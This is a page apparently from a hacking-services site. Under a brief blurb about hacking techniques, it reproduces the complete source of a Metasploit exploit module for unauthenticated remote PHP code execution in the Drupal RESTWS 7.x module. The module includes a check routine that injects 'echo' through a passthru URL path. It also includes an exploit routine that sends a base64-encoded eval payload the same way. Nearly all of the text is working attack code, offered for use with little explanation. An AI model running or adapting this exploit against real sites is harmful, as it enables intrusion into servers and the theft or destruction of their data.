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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
      'Description'    => %q{
        This module exploits the Drupal RESTWS module vulnerability.
        RESTWS alters the default page callbacks for entities to provide
        additional functionality. A vulnerability in this approach allows
        an unauthenticated attacker to send specially crafted requests resulting
        in arbitrary PHP execution

        This module was tested against RESTWS 7.x with Drupal 7.5
installation on Ubuntu server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Devin Zuczek',                        # discovery
          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765567'],
          ['URL',
'https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => 'Jul 13 2016',
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The target URI of the
Drupal installation", '/'])
      ], self.class
    )
  end

  def check
    r = rand_text_alpha(8 + rand(4))
    url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r
, "/passthru/echo%20#{r}")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
    if res && res.body =~ /#{r}/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    random = rand_text_alpha(1 + rand(2))
    url = normalize_uri(target_uri.path,
      "?q=taxonomy_vocabulary/",
      random ,
      "/passthru/",
      Rex::Text.uri_encode("php -r
'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
    )
    send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
  end
end